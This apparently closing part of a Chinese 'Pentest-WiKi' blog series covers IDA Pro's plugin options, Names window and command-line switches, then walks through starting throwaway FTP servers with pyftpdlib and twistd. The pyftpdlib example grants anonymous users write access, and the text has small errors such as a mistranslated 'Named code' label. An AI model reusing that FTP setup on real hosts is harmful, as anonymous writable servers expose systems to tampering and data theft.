-O 命令行参数允许用户将设置传递给插件。
一个使用设置的插件会调用get_plugin_options()函数来获得参数。

由于可能有独立编程人员编写的插件,每个插件的设置都需要单独加上-O前缀

例如,一个名为“decomp”的插件规定它的参数具有以下格式:

-Odecomp:option1:option2:option3

在这种情况下,get_plugin_options(“decomp”)将返回选项字符串的”option1:option2:option3”部分。

如果在命令行中存在多个-O参数,那么它们会被之间的”:”连接起来。

函数名窗口

“Name”窗口提供二进制文件中所有全局名称的摘要列表。
函数名就是对程序虚拟地址的符号描述。
(译者注:指的是View-Open Subviews-Names窗口,也可通过快捷键Shift+F12打开)

IDA最初在文件的初始加载过程中从符号表和签名分析中导出名称列表。
名称可以按字母顺序排列,也可以按虚拟地址顺序(升序或降序)排序。

“名称”窗口对于快速导航到程序列表中的已知位置非常有用。
双击任何名称窗口条目将立即跳转反汇编视图显示选定的名称。

显示的名称会被调整为不同的颜色和字母。
方案概述如下:

F 常规功能。这些是IDA不能识别为库函数的功能。

L 库函数 IDA通过使用签名匹配算法识别库函数。
如果给定的库函数不存在签名,则该函数将被标记为常规函数。

I 导入的名称,通常是从共享库导入的函数名称。
这和库函数的不同之处在于,导入的名称不存在任何代码,而库函数的主体将出现在反汇编中。

C 无名代码(Named code)。IDA不认为这些代码是某个函数的一部分。
当IDA在程序的符号表中找到了一个函数名,但是却没有发现对该函数的调用时,就会把他们判定为无名代码。

D 数据。命名的数据位置通常代表全局变量。

A 字符串数据。这是一个引用的数据位置,包含一系列符合IDA已知字符串数据类型的字符序列,例如以空字符结尾的ASCII C字符串。

####命令行模式

可以使用以下命令之一启动IDA:

idaq input-file(所有平台:启动图形界面)
idaw input-file(Windows:启动文本界面)
idal input-file(Linux / Mac:启动文本界面)

将“64”后缀添加到命令名称中,以启动64位版本的IDA。例如:

idaq64 input-file

将启动64位图形界面。

命令行的参数包括以下几种:

-a 禁用自动分析
-A 自主模式。 IDA不会显示对话框。
   设计与-S开关一起使用。
-b + #### 加载地址。后加上一个十六进制的数字。(中间无空格,下略)
-B 批处理模式。 IDA将自动生成.IDB和.ASM文件
-c 反汇编新文件。(删除旧数据库)
-d + directive
   指示首要加载的配置。
   例如:
       -dVPAGESIZE=8192
-D + directive
  指示次要加载的配置。
-f 禁用FPP指令 (仅在IBM PC下可用)
-h 帮助页面
-i + #### 程序入口点(十六进制)
-I + #将IDA设置为即时调试器(0禁用,1启用)
-L + #### 指定log的文件名
-M 禁用鼠标(仅限文本)
-O + #### 传递给插件的选项
-o + #### 指定输出数据库(隐含-c)
-p + #### 指定处理器类型
-P+ 压缩数据库(创建压缩的IDB)
-P 打包数据库(创建未压缩的IDB)
-P-不打包数据库(不要重新编译,看Abort命令)
-r + ###  立即运行内置的调试器(格式在###中设置)
-R 加载MS Windows exe文件资源
-S###  数据库打开时执行脚本文件。 
   脚本文件扩展名用于确定哪个extlang将运行脚本。 
   可以在脚本名称之后传递命令行参数。 
   例如:
        -S"myscript.idc argument1 \"argument 2\" argument3" 
          传递的参数存储在“ARGV”全局IDC变量中。 
       使用“ARGV.count”来确定参数的数量。 
       第一个参数“ARGV [0]”包含脚本名称
-T###  将输入文件作为指定的文件类型解释 
   在“加载文件”对话框中可见
-t       创建一个空的数据库文件
-W###  指定MS Windows目录
-x 不要创建分段
    (与Dump数据库命令配对使用) 
     此开关仅影响EXE和COM格式文件。
-z debug:
                  00000001 drefs
               00000002 offsets
               00000004 first
               00000008 idp module
               00000010 idr module
               00000020 plugin module
               00000040 ids files
               00000080 config file
               00000100 check heap
               00000200 checkarg
               00000400 demangler
               00000800 queue
               00001000 rollback
               00002000 already data or code
               00004000 type system
               00008000 show all notifications
               00010000 debugger
               00200000 Appcall 
               00400000 source-level debugger
-? 适用于下一个版本
?  适用于下一个版本

对于批处理模式,必须使用以下命令行调用IDA:

idaq -B input-file

相当于

idaq -c -A -Sanalysis.idc input-file

文本界面(idaw.exe / idal)更适合批处理模式,因为它使用较少的系统资源。
但是,请注意,常用插件不会自动加载到批处理模式,因为analysis.idc文件会退出,内核没有机会加载它们。

有关更多信息,请参阅IDC子目录中的analysis.idc文件。

主要功能

IDA是一个交互式反汇编程序。用户可以主动参与反汇编过程。
它不能自动分析程序,而是向你提示可疑的地方,未解决的问题等。
而你的工作就是指挥IDA进行分析。

如果你第一次使用IDA,下面是一些你会发现非常有用的命令:

转换为指令(Code):热键是“C”
转换为数据(Data):热键是“D”

所做的所有更改都保存到磁盘
(译者注:即.idb数据库文件。IDA不会对原程序做任何改动。除非使用Patch Program插件)。
当您再次运行时,IDA会从磁盘读取被分析文件的所有信息,以便可以继续您的工作。
(译者注:同样指的是.idb数据库文件,无论原程序被改动甚至是删除都不影响)

CODE:00401000 6A 00 push0  
CODE:00401002 E8 64 02 00 00callGetModuleHandleA ; Call Procedure  

按下D,你会看到:

CODE:00401000 6A 00 push0
CODE:00401000   ;   
---------------------------------------------------------------------------
CODE:00401002 E8db 0E8h
CODE:00401003 64db  64h ; d
CODE:00401004 02db2
CODE:00401005 00db0
CODE:00401006 00db0
CODE:00401007   ; 
---------------------------------------------------------------------------

逆向的不是很友好,只有ida的介绍使用,建议大家去ctf-wiki里面看看re这块的。

part9 快速搭建系统服务

##如何快速设置FTP服务器
请用pip或easy_install安装pyftpdlib。

sudo easy_install pysendfile
sudo easy_install pyftpdlib

或者

sudo pip2 install pysendfile
sudo pip2 install pyftpdlib

如果您已经成功安装了pyftpdlib,请按以下步骤启动:

root@lab:/tmp/pyftpdlib# python -m pyftpdlib -w -p 21
pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
  [I 2016-03-06 10:00:11] >>> starting FTP server on 0.0.0.0:21, pid=2090 <<<
  [I 2016-03-06 10:00:11] concurrency model: async
  [I 2016-03-06 10:00:11] masquerade (NAT) address: None
  [I 2016-03-06 10:00:11] passive ports: None
  [I 2016-03-06 10:00:40] 192.168.1.103:52874-[] FTP session opened (connect)
  [I 2016-03-06 10:00:40] 192.168.1.103:52874-[anonymous] USER 'anonymous' logged in.
  [I 2016-03-06 10:00:45] 192.168.1.103:52874-[anonymous] FTP session closed (disconnect).
  [I 2016-03-06 10:01:42] 192.168.1.101:49312-[] FTP session opened (connect)
  [I 2016-03-06 10:02:12] 192.168.1.101:49312-[] FTP session closed (disconnect).
  [I 2016-03-06 10:02:24] 192.168.1.101:49313-[] FTP session opened (connect)
  [I 2016-03-06 10:02:31] 192.168.1.101:49313-[anonymous] USER 'anonymous' logged in.
  [I 2016-03-06 10:06:28] 192.168.1.101:49313-[anonymous] RETR /tmp/pyftpdlib/setup.py completed=1 bytes=5183 seconds=0.004
  [I 2016-03-06 10:07:29] 192.168.1.101:49313-[anonymous] FTP session closed (disconnect).
  [I 2016-03-06 10:08:11] 192.168.1.104:1033-[] FTP session opened (connect)
  [I 2016-03-06 10:08:17] 192.168.1.104:1033-[anonymous] USER 'anonymous' logged in.
  [I 2016-03-06 10:10:43] 192.168.1.104:1033-[anonymous] FTP session closed (disconnect).

Windows FTP控制台客户端:

C:\Documents and Settings\test\Desktop>ver

Microsoft Windows XP [Version 5.1.2600]

C:\Documents and Settings\test\Desktop>ftp 192.168.1.103
Connected to 192.168.1.103.
220 pyftpdlib 1.5.0 ready.
User (192.168.1.103:(none)): anonymous
331 Username ok, send password.
Password:
230 Login successful.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
.ci
.coveragerc
.git
...

您也可以使用其他客户端,例如:ncftp。

Twistd

如何用Twisted启动一个ftp服务器。

root@lab:/tmp# twistd -n ftp --help
Usage: twistd [options] ftp [options].
    WARNING: This FTP server is probably INSECURE do not use it.
Options:
  -p, --port=            set the port number [default: 2121]
  -r, --root=            define the root of the ftp-site. [default:
                         /usr/local/ftp]
      --userAnonymous=   Name of the anonymous user. [default: anonymous]
      --help             Display this help and exit.
      --help-auth-type=  Show help for a particular authentication type.
      --auth=            Specify an authentication method for the server.
      --password-file=   Specify a file containing username:password login info
                         for         authenticated connections. (DEPRECATED; see
                         --help-auth instead)
      --version          Display Twisted version and exit.
      --help-auth        Show all authentication methods available.

sroot@lab:/tmp# tudo easy_install twisted
root@lab:/tmp# twistd -n ftp -p 2121 --userAnonymous=anonymous 
2016-03-06 11:24:24-0500 [-] Log opened.
2016-03-06 11:24:24-0500 [-] twistd 15.5.0 (/usr/bin/python 2.7.11) starting up.
2016-03-06 11:24:24-0500 [-] reactor class: twisted.internet.epollreactor.EPollReactor.
2016-03-06 11:24:24-0500 [-] FTPFactory starting on 2121
2016-03-06 11:24:24-0500 [-] Starting factory <twisted.protocols.ftp.FTPFactory instance at 0xb6c2474c>

THE END!
禁止转载!


   转载规则


《Pentest-WiKi》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
python中的后渗透|也可用于AWD攻防--shell管理 python中的后渗透|也可用于AWD攻防--shell管理
#python中的后渗透|也可用于AWD攻防–shell管理 在所有的旋律中,wing对说散就散最专一! 0x00 前言在平时或者线下AWD的时候,有一个shell管理器可以让我们打到事半功倍的效果。前提你要能获得别人shell,不然
2018-01-03
下一篇 
i春秋圣诞节活动ctf题writeup大放送 i春秋圣诞节活动ctf题writeup大放送
WEB祝大家圣诞快乐!hhhhh | \/ | ___ _ __ _ __ _ _ | |\/| |/ _ \ '__| '__| | | | | | | | __/ | | | | |_| | |_
2017-12-24
  目录